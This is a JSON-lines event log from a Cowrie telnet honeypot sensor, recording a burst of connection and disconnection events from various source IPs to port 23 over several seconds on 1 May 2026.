{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":54830,"dst_ip":"159.203.135.109","dst_port":23,"session":"4574ba0ef936","protocol":"telnet","message":"New connection: 81.30.157.18:54830 (159.203.135.109:23) [session: 4574ba0ef936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:51.337167Z"}
{"eventid":"cowrie.session.closed","duration":31.248326778411865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:51.406446Z","src_ip":"149.102.133.101","session":"f11a7b861cc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":43964,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d04e1cd2f30","protocol":"telnet","message":"New connection: 168.119.91.149:43964 (159.203.135.109:23) [session: 2d04e1cd2f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:51.736715Z"}
{"eventid":"cowrie.session.closed","duration":30.840832710266113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:51.751715Z","src_ip":"81.30.157.18","session":"2982d19aa07d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":34360,"dst_ip":"159.203.135.109","dst_port":23,"session":"68ef9341f43b","protocol":"telnet","message":"New connection: 173.249.44.46:34360 (159.203.135.109:23) [session: 68ef9341f43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:51.843955Z"}
{"eventid":"cowrie.session.closed","duration":30.57677936553955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:52.054955Z","src_ip":"82.163.78.83","session":"bbe3576e8c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86538600921631,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:52.074463Z","src_ip":"149.102.133.101","session":"6244a4d8b10b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":34622,"dst_ip":"159.203.135.109","dst_port":23,"session":"3293ccc3aace","protocol":"telnet","message":"New connection: 173.249.44.46:34622 (159.203.135.109:23) [session: 3293ccc3aace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:52.130872Z"}
{"eventid":"cowrie.session.closed","duration":31.327510356903076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:52.960750Z","src_ip":"149.102.133.101","session":"aa31c9880d6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.690970420837402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:53.070129Z","src_ip":"82.163.78.83","session":"47869d7808d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.122457027435303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:53.102612Z","src_ip":"82.163.78.83","session":"00e7a574a203","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66067910194397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:53.115056Z","src_ip":"81.30.157.18","session":"a225b740b67f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":36290,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ef31097bcfe","protocol":"telnet","message":"New connection: 173.249.44.46:36290 (159.203.135.109:23) [session: 2ef31097bcfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:53.134752Z"}
{"eventid":"cowrie.session.closed","duration":38.71339774131775,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:53.158352Z","src_ip":"69.65.3.189","session":"81fce6e7569b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8181574344635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:53.163602Z","src_ip":"149.102.133.101","session":"eb640b8fc9a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":41638,"dst_ip":"159.203.135.109","dst_port":23,"session":"77634830d3ac","protocol":"telnet","message":"New connection: 46.101.32.143:41638 (159.203.135.109:23) [session: 77634830d3ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:53.310245Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":36640,"dst_ip":"159.203.135.109","dst_port":23,"session":"f508d0b7c132","protocol":"telnet","message":"New connection: 173.249.44.46:36640 (159.203.135.109:23) [session: f508d0b7c132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:53.374207Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":36778,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef10032e9f2d","protocol":"telnet","message":"New connection: 173.249.44.46:36778 (159.203.135.109:23) [session: ef10032e9f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:53.458837Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":54682,"dst_ip":"159.203.135.109","dst_port":23,"session":"401b117fd760","protocol":"telnet","message":"New connection: 85.208.100.77:54682 (159.203.135.109:23) [session: 401b117fd760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:53.743736Z"}
{"eventid":"cowrie.session.closed","duration":30.744210243225098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:54.100201Z","src_ip":"82.163.78.83","session":"85ec1fc873fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83779263496399,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:54.111326Z","src_ip":"103.115.172.252","session":"06a6d7b6567b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113027811050415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:54.123652Z","src_ip":"85.208.100.77","session":"3e4f6f4a6878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78957223892212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:54.129732Z","src_ip":"82.163.78.83","session":"75ca9e7f760e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.344282150268555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:54.166083Z","src_ip":"85.208.100.77","session":"9dd0f1f77de9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.156861066818237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:54.339013Z","src_ip":"116.118.250.81","session":"42590be96303","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69225287437439,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:54.833246Z","src_ip":"149.102.133.101","session":"c2d434c22401","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815399408340454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:55.038496Z","src_ip":"82.163.78.83","session":"f4fc80d3039e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846057176589966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:55.059819Z","src_ip":"81.30.157.18","session":"85d036e434be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.446708917617798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:55.124585Z","src_ip":"81.30.157.18","session":"f98a8f500a2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":41880,"dst_ip":"10.17.0.5","dst_port":23,"session":"22e5266a7415","protocol":"telnet","message":"New connection: 69.65.3.189:41880 (10.17.0.5:23) [session: 22e5266a7415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:55.146455Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":39000,"dst_ip":"159.203.135.109","dst_port":23,"session":"c98e90ef1d43","protocol":"telnet","message":"New connection: 173.249.44.46:39000 (159.203.135.109:23) [session: c98e90ef1d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:55.218109Z"}
{"eventid":"cowrie.session.closed","duration":34.113346576690674,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:55.260439Z","src_ip":"69.65.3.189","session":"0fe0d535f238","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":35558,"dst_ip":"159.203.135.109","dst_port":23,"session":"cee96e1529a6","protocol":"telnet","message":"New connection: 209.126.84.114:35558 (159.203.135.109:23) [session: cee96e1529a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:55.341368Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":39154,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8319d034f6a","protocol":"telnet","message":"New connection: 173.249.44.46:39154 (159.203.135.109:23) [session: b8319d034f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:55.384437Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":57712,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa53e368b19c","protocol":"telnet","message":"New connection: 85.208.100.77:57712 (159.203.135.109:23) [session: aa53e368b19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:55.388824Z"}
{"eventid":"cowrie.session.closed","duration":42.39612126350403,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:55.748529Z","src_ip":"69.65.3.189","session":"76c94f68c503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.31948685646057,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:55.964458Z","src_ip":"69.65.3.189","session":"cde61b25d78a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5092294216156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:56.047233Z","src_ip":"81.30.157.18","session":"210c979e9b03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":40180,"dst_ip":"159.203.135.109","dst_port":23,"session":"b12574725ba2","protocol":"telnet","message":"New connection: 173.249.44.46:40180 (159.203.135.109:23) [session: b12574725ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:56.055372Z"}
{"eventid":"cowrie.session.closed","duration":30.34766125679016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:56.099457Z","src_ip":"81.30.157.18","session":"59708d0d6c29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99724578857422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:56.124370Z","src_ip":"82.163.78.83","session":"2e5c74d6f3a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":60794,"dst_ip":"159.203.135.109","dst_port":23,"session":"401f29d48f7a","protocol":"telnet","message":"New connection: 82.163.78.83:60794 (159.203.135.109:23) [session: 401f29d48f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:56.264823Z"}
{"eventid":"cowrie.session.closed","duration":31.24043321609497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:56.569540Z","src_ip":"82.163.78.83","session":"4b11d9b21dc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812132120132446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:56.705992Z","src_ip":"81.30.157.18","session":"b2927273d493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.138787269592285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:57.053129Z","src_ip":"82.163.78.83","session":"e87bd11e2cf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6779727935791,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:57.074512Z","src_ip":"46.101.32.143","session":"f2176109cfdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.435233116149902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:57.080190Z","src_ip":"149.102.133.101","session":"685185b899a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":42110,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf16492531f5","protocol":"telnet","message":"New connection: 173.249.44.46:42110 (159.203.135.109:23) [session: bf16492531f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:57.286464Z"}
{"eventid":"cowrie.session.closed","duration":31.1226327419281,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:57.295765Z","src_ip":"46.101.32.143","session":"119bbf4a4dea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.790597200393677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:57.487427Z","src_ip":"168.119.91.149","session":"d8f91f35e8ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.177276611328125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:57.514949Z","src_ip":"168.119.91.149","session":"210edc9be769","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":42056,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2217786f6a9","protocol":"telnet","message":"New connection: 37.187.24.227:42056 (159.203.135.109:23) [session: a2217786f6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:57.557271Z"}
{"eventid":"cowrie.session.closed","duration":30.473384857177734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:57.567999Z","src_ip":"168.119.91.149","session":"db5e6646dfed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":42642,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c4f56b6ddab","protocol":"telnet","message":"New connection: 173.249.44.46:42642 (159.203.135.109:23) [session: 9c4f56b6ddab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:57.634312Z"}
{"eventid":"cowrie.session.closed","duration":30.382717847824097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:58.052573Z","src_ip":"37.187.24.227","session":"1d346da30656","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835663080215454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:58.068325Z","src_ip":"149.102.133.101","session":"c61a2498f7be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.459818124771118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:58.072652Z","src_ip":"82.163.78.83","session":"43b825ddcbc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":60068,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6061738508d","protocol":"telnet","message":"New connection: 81.30.157.18:60068 (159.203.135.109:23) [session: e6061738508d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:58.148824Z"}
{"eventid":"cowrie.session.closed","duration":30.846024990081787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:58.187728Z","src_ip":"82.163.78.83","session":"96640097c4d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893707990646362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:58.197699Z","src_ip":"85.208.100.77","session":"8265c12e1c67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":60078,"dst_ip":"159.203.135.109","dst_port":23,"session":"387bf45f4add","protocol":"telnet","message":"New connection: 81.30.157.18:60078 (159.203.135.109:23) [session: 387bf45f4add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:58.267292Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":60450,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e9e89a98750","protocol":"telnet","message":"New connection: 206.189.139.22:60450 (159.203.135.109:23) [session: 0e9e89a98750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:58.568874Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":52746,"dst_ip":"159.203.135.109","dst_port":23,"session":"277a4af44722","protocol":"telnet","message":"New connection: 149.102.133.101:52746 (159.203.135.109:23) [session: 277a4af44722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:58.636202Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58628,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad25475d9a15","protocol":"telnet","message":"New connection: 147.135.136.77:58628 (159.203.135.109:23) [session: ad25475d9a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:58.639390Z"}
{"eventid":"cowrie.session.closed","duration":31.33365297317505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:58.942054Z","src_ip":"85.208.100.77","session":"c5962c3bdd32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.252296209335327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:59.074661Z","src_ip":"82.163.78.83","session":"93c5f15a2f09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099599361419678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:59.087003Z","src_ip":"37.187.24.227","session":"6c1fe900f916","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.498887538909912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:59.116539Z","src_ip":"82.163.78.83","session":"a67ef5c07202","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":48182,"dst_ip":"159.203.135.109","dst_port":23,"session":"26dd51bd34f3","protocol":"telnet","message":"New connection: 46.101.32.143:48182 (159.203.135.109:23) [session: 26dd51bd34f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:59.288696Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":60092,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1d97dbd170d","protocol":"telnet","message":"New connection: 81.30.157.18:60092 (159.203.135.109:23) [session: f1d97dbd170d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:59.358487Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":36718,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf4d8c277072","protocol":"telnet","message":"New connection: 82.163.78.83:36718 (159.203.135.109:23) [session: cf4d8c277072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:59.434017Z"}
{"eventid":"cowrie.session.closed","duration":30.71690344810486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:59.470455Z","src_ip":"168.119.91.149","session":"0e12c66b0940","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.648986339569092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:59.476489Z","src_ip":"168.119.91.149","session":"b24ed6ce8312","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87992215156555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:59.553781Z","src_ip":"168.119.91.149","session":"6f10c1cc397b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":60108,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc9ad1db4580","protocol":"telnet","message":"New connection: 81.30.157.18:60108 (159.203.135.109:23) [session: fc9ad1db4580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:59.893096Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":38278,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f29ff96b66e","protocol":"telnet","message":"New connection: 85.208.100.77:38278 (159.203.135.109:23) [session: 0f29ff96b66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:59.936594Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":47022,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e0cb1659a43","protocol":"telnet","message":"New connection: 37.187.24.227:47022 (159.203.135.109:23) [session: 1e0cb1659a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:59.946228Z"}
{"eventid":"cowrie.session.closed","duration":30.634132862091064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:00.064911Z","src_ip":"37.187.24.227","session":"e56686573c4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89944887161255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:00.090911Z","src_ip":"37.187.24.227","session":"68ab352092ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":60110,"dst_ip":"159.203.135.109","dst_port":23,"session":"d71466cda171","protocol":"telnet","message":"New connection: 81.30.157.18:60110 (159.203.135.109:23) [session: d71466cda171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:00.376839Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":46114,"dst_ip":"159.203.135.109","dst_port":23,"session":"fda42254ecd4","protocol":"telnet","message":"New connection: 173.249.44.46:46114 (159.203.135.109:23) [session: fda42254ecd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:00.419016Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":60112,"dst_ip":"159.203.135.109","dst_port":23,"session":"042ff6009c22","protocol":"telnet","message":"New connection: 81.30.157.18:60112 (159.203.135.109:23) [session: 042ff6009c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:00.598322Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":59718,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f6d8a989d7b","protocol":"telnet","message":"New connection: 206.189.139.22:59718 (159.203.135.109:23) [session: 1f6d8a989d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:00.620859Z"}
{"eventid":"cowrie.session.closed","duration":30.829145193099976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:01.108555Z","src_ip":"149.102.133.101","session":"cfbf634a703c","protocol":"telnet"}
